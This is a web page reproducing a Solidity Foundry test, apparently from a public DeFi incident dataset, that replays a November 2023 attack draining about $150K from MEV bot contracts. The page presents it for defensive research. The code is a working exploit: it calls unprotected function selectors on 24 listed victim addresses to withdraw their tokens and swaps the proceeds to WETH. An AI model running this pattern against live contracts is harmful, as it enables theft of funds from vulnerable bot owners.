Skip to content
THREATWIRE

Public reproduction file

src/test/2023-11/MEV_0xa247_exp.sol

Public reproduction file for dataset entry MEVBot_0xa247.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-11/MEV_0xa247_exp.sol187 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~$150K
8// Attacker : https://etherscan.io/address/0x4e087743e8025012c4704a1953c87eeff1e6ef48
9// Attack Contract : https://etherscan.io/address/0x3763b7f83358171b1660ee209f327954cc463129
10// One of the victims contract : https://etherscan.io/address/0xa2473460f86e1058bdd0a2c531b15534fd403d97
11// Attack Tx : https://explorer.phalcon.xyz/tx/eth/0x53eeab4447db331dbb47f93fd58a95d6faa230d559acde0687f8b5f5829e7a45
13// @Analysis
14// https://twitter.com/Phalcon_xyz/status/1723591214262632562
16contract ContractTest is Test {
17 IERC20 private constant RAIL = IERC20(0xe76C6c83af64e4C60245D8C7dE953DF673a7A33D);
18 IERC20 private constant BBANK = IERC20(0xF4b5470523cCD314C6B9dA041076e7D79E0Df267);
19 IERC20 private constant BUMP = IERC20(0x785c34312dfA6B74F6f1829f79ADe39042222168);
20 IERC20 private constant HOPR = IERC20(0xF5581dFeFD8Fb0e4aeC526bE659CFaB1f8c781dA);
21 IERC20 private constant ISP = IERC20(0xC8807f0f5BA3fa45FfBdc66928d71c5289249014);
22 IERC20 private constant FMT = IERC20(0x99c6e435eC259A7E8d65E1955C9423DB624bA54C);
23 IERC20 private constant MARSH = IERC20(0x5a666c7d92E5fA7Edcb6390E4efD6d0CDd69cF37);
24 IERC20 private constant KEL = IERC20(0x4ABB9cC67BD3da9Eb966d1159A71a0e68BD15432);
25 IERC20 private constant CELL = IERC20(0x26c8AFBBFE1EBaca03C2bB082E69D0476Bffe099);
26 IERC20 private constant UNO = IERC20(0x474021845C4643113458ea4414bdb7fB74A01A77);
27 IERC20 private constant KINE = IERC20(0xCbfef8fdd706cde6F208460f2Bf39Aa9c785F05D);
28 IERC20 private constant TXA = IERC20(0x4463e6A3dEd0dBE3F6e15bC8420dFc55e5FeA830);
29 IERC20 private constant MoFi = IERC20(0xB2dbF14D0b47ED3Ba02bDb7C954e05A72deB7544);
30 IERC20 private constant ODDZ = IERC20(0xCd2828fc4D8E8a0eDe91bB38CF64B1a81De65Bf6);
31 IUSDT private constant USDT = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);
32 IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
33 Uni_Router_V2 private constant Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
35 function setUp() public {
36 vm.createSelectFork("mainnet", 18_552_866);
37 }
39 function testExploit() public {
40 deal(address(this), 0 ether);
41 approveAll();
42 address[] memory tokens = new address[](24);
43 tokens[0] = address(RAIL);
44 tokens[1] = address(BBANK);
45 tokens[2] = address(USDT);
46 tokens[3] = address(BUMP);
47 tokens[4] = address(0);
48 tokens[5] = address(HOPR);
49 tokens[6] = address(ISP);
50 tokens[7] = address(FMT);
51 tokens[8] = address(MARSH);
52 tokens[9] = address(KEL);
53 tokens[10] = address(CELL);
54 tokens[11] = address(HOPR);
55 tokens[12] = address(UNO);
56 tokens[13] = address(KINE);
57 tokens[14] = address(KEL);
58 tokens[15] = address(TXA);
59 tokens[16] = address(BUMP);
60 tokens[17] = address(USDT);
61 tokens[18] = address(USDT);
62 tokens[19] = address(USDT);
63 tokens[20] = address(USDT);
64 tokens[21] = address(MoFi);
65 tokens[22] = address(ODDZ);
66 tokens[23] = address(USDT);
68 address[] memory victims = new address[](24);
69 victims[0] = 0xa2473460f86e1058bdd0A2C531B15534fD403d97;
70 victims[1] = 0xe2637e705475F367c94467c4b844d58dB293aFF8;
71 victims[2] = 0x2481590CD6dcC9870212974627b2E938133d724b;
72 victims[3] = 0xC84C76b01f62733A6a385e9a70fd43bda0a4530C;
73 victims[4] = 0x2FbC293D80EF7c0D12A65AC69BB9D9E12F049064;
74 victims[5] = 0xcCb65510Af354285137a175e86f9618ACf5f4861;
75 victims[6] = 0x346Bbb951f24d6744231b38ca9c1305f0985d12D;
76 victims[7] = 0x4A3097cdaA8f93C8da1561328fdc13b64E710dCc;
77 victims[8] = 0xdbBC243E97F083562a02c458D7182489b4aC85F6;
78 victims[9] = 0xB4c6503bf5dca7C3cF98a06bEc59cf5857801D98;
79 victims[10] = 0xA9fe587d7c87691Ba76f3A4a63a8A8f2c1dBf12a;
80 victims[11] = 0xe53a9d90B66F7EdD7aAA22aaD474aBf45C55aF72;
81 victims[12] = 0xb0852b6e58560176Cf803dC4D7d6AAe151B8F242;
82 victims[13] = 0x0Aa6de644966648a5C31769d98Fe9F9881362eC8;
83 victims[14] = 0xE380cB00D0a1a7CB7d71569B573B6D4d665aFf87;
84 victims[15] = 0x800D11ae57133F6E27B4632b598caF630f0A55Dc;
85 victims[16] = 0x956750265b7a33A8564510AF5B4b3589484aF403;
86 victims[17] = 0x8d6114a24cC8cca883bBe77034f3e6F19bD8204C;
87 victims[18] = 0x976248f02DA78E034F484984009b4b9f15AE1722;
88 victims[19] = 0x5f507AdcE6F67a78eDF873065953a368F5C6Fa31;
89 victims[20] = 0xd9047C11a85D9176B2370388D81a3DBd4F99Ad96;
90 victims[21] = 0xF985cd900ec163B544623303D6383eB5C4B24712;
91 victims[22] = 0x26Cae30b00f4af20894A0827f5FcAAE752B38217;
92 victims[23] = 0xf5E303702b5927670998D6EC63449Cb2EDF65728;
94 emit log_named_decimal_uint("Attacker WETH balance before exploit", WETH.balanceOf(address(this)), 18);
95 emit log_named_decimal_uint(
96 "Attacker BUMP balance before exploit", BUMP.balanceOf(address(this)), BUMP.decimals()
97 );
98 emit log_named_decimal_uint("Attacker ETH balance before exploit", address(this).balance, 18);
100 for (uint8 i; i < tokens.length; ++i) {
101 exploitMevBot(tokens[i], victims[i]);
102 }
104 emit log_named_decimal_uint("Attacker WETH balance after exploit", WETH.balanceOf(address(this)), 18);
105 emit log_named_decimal_uint(
106 "Attacker BUMP balance after exploit", BUMP.balanceOf(address(this)), BUMP.decimals()
107 );
108 emit log_named_decimal_uint("Attacker ETH balance after exploit", address(this).balance, 18);
109 }
111 function exploitMevBot(address token, address victim) internal {
112 removeAdmin(token, victim);
113 withdrawToken(token, victim);
114 if (token == address(BUMP)) {
115 BUMP.transfer(address(this), BUMP.balanceOf(address(this)));
116 } else if (token != address(0)) {
117 tokenToWETH(token);
118 } else {
119 return;
120 }
121 }
123 function removeAdmin(address token, address victim) internal {
124 address[] memory recipients = new address[](1);
125 recipients[0] = address(this);
126 address tokenAddr = token == address(0) ? address(0) : token;
128 (bool success,) = victim.call(
129 abi.encodeWithSelector(
130 bytes4(0xe7d25975), address(this), address(this), tokenAddr, recipients, 4, 3, 2, 0, 0
131 )
132 );
133 require(success, "Call to removeAdmin() not successful");
134 }
136 function withdrawToken(address token, address victim) internal {
137 address tokenAddr = token == address(0) ? address(0) : token;
139 (bool success,) = victim.call(abi.encodeWithSelector(bytes4(0x4abe11b4)));
140 require(success);
142 success = false;
143 (success,) = victim.call(abi.encodeWithSelector(bytes4(0xd547557b)));
144 require(success);
146 success = false;
147 (success,) = victim.call(abi.encodeWithSelector(bytes4(0x90fb9dca), tokenAddr, 0));
148 require(success);
149 }
151 function approveAll() internal {
152 RAIL.approve(address(Router), type(uint256).max);
153 BBANK.approve(address(Router), type(uint256).max);
154 USDT.approve(address(Router), type(uint256).max);
155 BUMP.approve(address(Router), type(uint256).max);
156 HOPR.approve(address(Router), type(uint256).max);
157 ISP.approve(address(Router), type(uint256).max);
158 FMT.approve(address(Router), type(uint256).max);
159 MARSH.approve(address(Router), type(uint256).max);
160 KEL.approve(address(Router), type(uint256).max);
161 CELL.approve(address(Router), type(uint256).max);
162 UNO.approve(address(Router), type(uint256).max);
163 KINE.approve(address(Router), type(uint256).max);
164 TXA.approve(address(Router), type(uint256).max);
165 MoFi.approve(address(Router), type(uint256).max);
166 ODDZ.approve(address(Router), type(uint256).max);
167 }
169 function tokenToWETH(
170 address token
171 ) internal {
172 address[] memory path = new address[](2);
173 path[0] = token;
174 path[1] = address(WETH);
175 uint256 tokenBalance;
176 if (token == address(USDT)) {
177 tokenBalance = IUSDT(token).balanceOf(address(this));
178 } else {
179 tokenBalance = IERC20(token).balanceOf(address(this));
180 }
181 uint256[] memory amounts = Router.getAmountsOut(tokenBalance, path);
183 Router.swapExactTokensForTokens(tokenBalance, amounts[1], path, address(this), block.timestamp + 1000);
184 }
186 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “MEVBot_0xa247” (2023-11-12). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x4e087743e8025012c4704a1953c87eeff1e6ef48

  • Attack Contract

    0x3763b7f83358171b1660ee209f327954cc463129

  • Attack Tx

    0x53eeab4447db331dbb47f93fd58a95d6faa230d559acde0687f8b5f5829e7a45

File record

Name
MEVBot_0xa247
Path
src/test/2023-11/MEV_0xa247_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
a3b714d67c9ac557d38cd7b67368f6aa852e9070
Language
Solidity
Size
188 lines
Date
2023-11-12
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-11/MEV_0xa247_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a3b714d67c9ac557d38cd7b67368f6aa852e9070, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.